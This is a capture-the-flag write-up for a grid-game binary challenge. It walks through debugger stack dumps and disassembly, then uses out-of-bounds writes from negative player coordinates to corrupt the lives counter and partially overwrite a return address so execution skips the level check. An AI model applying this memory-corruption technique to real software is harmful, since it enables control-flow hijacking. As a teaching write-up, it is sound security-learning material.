We are a given a binary without source. The binary is a game with a rectangular grid where you can move around with wasd
. Each move decreases the numbers of lives you have and ends when you run out of them.
When we open the binary with binary ninja, we notice a couple of things
-
There are special commands:
l
sets the player tile,p
automatically moves the player to the "exit" of the level -
Two variables track the current level
-
The win condition (to get the flag) is to get to level 5
-
The condition that checks whether the player has reached the exit also requires
level != 4
, making it impossible to get to level 5 by any "normal" means. -
the player struct
struct player_t { int32_t y; int32_t x; int32_t lives; }
is placed before the array containing the map on the stack.
-
Before each move
*(player->y * 0x5a + map + player->x) = '.'
After each move
*(player->y * 0x5a + map + player->x) = player_tile
We can manipulate the number of lives by underflowing the x position, essentially writing 0x23 = '.'
into the int32_t lives
. Note that we can only overwrite the value with 0x23
bytes, since when moving away from that address, the character .
is placed there.
So we can get to level 4, by manipulating our lives and using the p
command to automatically move to the exit. But how do we get to level 5?
Closer examination of the stack in the move_player
function shows another interesting value that lives within reach: the return address!
pwndbg> break move_player Breakpoint 1 at 0x8049538 pwndbg> c Continuing. [...] ───────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────── 00:0000│ esp 0xff967750 —▸ 0x804c000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x804bf10 (_DYNAMIC) ◂— 0x1 01:0004│-004 0xff967754 —▸ 0xff9682fc —▸ 0xff96888b ◂— 'TERMINATOR_DBUS_PATH=/net/tenshu/Terminator2' 02:0008│ ebp 0xff967758 —▸ 0xff968228 ◂— 0x0 03:000c│+004 0xff96775c —▸ 0x804992c (main+187) ◂— add esp, 10h 04:0010│+008 0xff967760 —▸ 0xff967780 ◂— 0x4 05:0014│+00c 0xff967764 ◂— 0x61 /* 'a' */ 06:0018│+010 0xff967768 —▸ 0xff96778f ◂— 0x2e2e2e23 ('#...') 07:001c│+014 0xff96776c —▸ 0xff96777c ◂— 0x1 ─────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────── ► 0 0x8049538 move_player+5 1 0x804992c main+187 2 0xeff98af9 3 0xeff98bbd __libc_start_main+141 4 0x804912c _start+44 ──────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg>
The idea is simple: override the return address and jump back to main
right after the exit condition check!
Instead of jumping to 0x804992c
we want to jump to 08049970
, which is right after the condition checks:
08049927 e807fcffff call move_player
0804992c 83c410 add esp, 0x10
0804992f 83ec04 sub esp, 0x4
08049932 8d8554f5ffff lea eax, [ebp-0xaac {level}]
08049938 50 push eax {level} {var_ac8_3}
08049939 8d8558f5ffff lea eax, [ebp-0xaa8 {player}]
0804993f 50 push eax {player} {var_acc_3}
08049940 8d8567f5ffff lea eax, [ebp-0xa99 {map}]
08049946 50 push eax {map} {var_ad0_3}
08049947 e807fbffff call print_map
0804994c 83c410 add esp, 0x10
0804994f 8b8558f5ffff mov eax, dword [ebp-0xaa8 {player.y}]
08049955 83f81d cmp eax, 0x1d
08049958 756d jne 0x80499c7 // player.y == 0x1d
0804995a 8b855cf5ffff mov eax, dword [ebp-0xaa4 {player.x}]
08049960 83f859 cmp eax, 0x59
08049963 7562 jne 0x80499c7 // player.x == 0x59
08049965 8b8554f5ffff mov eax, dword [ebp-0xaac {level}]
0804996b 83f804 cmp eax, 0x4
0804996e 7457 je 0x80499c7 // level != 4
08049970 83ec0c sub esp, 0xc
08049973 8d83e8e0ffff lea eax, [ebx-0x1f18] {data_804a0e8, "You win!\n Next level starting "}
08049979 50 push eax {data_804a0e8, "You win!\n Next level starting "}
0804997a e831f7ffff call puts
To figure out the x position we have to move to, we calculate the offset of the map and the return address on the stack, when we're inside move_player
:
pwndbg> stack 30
00:0000│ esp 0xff967750 —▸ 0x804c000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x804bf10 (_DYNAMIC) ◂— 0x1
01:0004│-004 0xff967754 —▸ 0xff9682fc —▸ 0xff96888b ◂— 'TERMINATOR_DBUS_PATH=/net/tenshu/Terminator2'
02:0008│ ebp 0xff967758 —▸ 0xff968228 ◂— 0x0
03:000c│+004 0xff96775c —▸ 0x804992c (main+187) ◂— add esp, 10h
04:0010│+008 0xff967760 —▸ 0xff967780 ◂— 0x4
05:0014│+00c 0xff967764 ◂— 0x61 /* 'a' */
06:0018│+010 0xff967768 —▸ 0xff96778f ◂— 0x2e2e2e23 ('#...')
07:001c│+014 0xff96776c —▸ 0xff96777c ◂— 0x1
08:0020│+018 0xff967770 ◂— 0x4
09:0024│+01c 0xff967774 ◂— 0x1
0a:0028│+020 0xff967778 ◂— 0x0
0b:002c│+024 0xff96777c ◂— 0x1
0c:0030│ eax 0xff967780 ◂— 0x4
0d:0034│+02c 0xff967784 ◂— 0x4
0e:0038│+030 0xff967788 ◂— 0x32 /* '2' */
0f:003c│ edx-3 0xff96778c ◂— 0x23000004
10:0040│+038 0xff967790 ◂— 0x2e2e2e2e ('....')
... ↓ 13 skipped
We see that the return address is at offset 0x0c, whereas the map starts at 0x3f = 0x3c + 3
(the 0x23 = '#'
is the first character of the map), which gives us an offset of 0x3f-0x0c=-51
. We need to overwrite the LSB 0x2c
of the return address with 0x70
so we set the player character to 0x70
, move to y=1
, x=-51
, then one tile up, and we're at level 5!
We repeat the same process once more, to jump right to the call of the win
function, and we're done.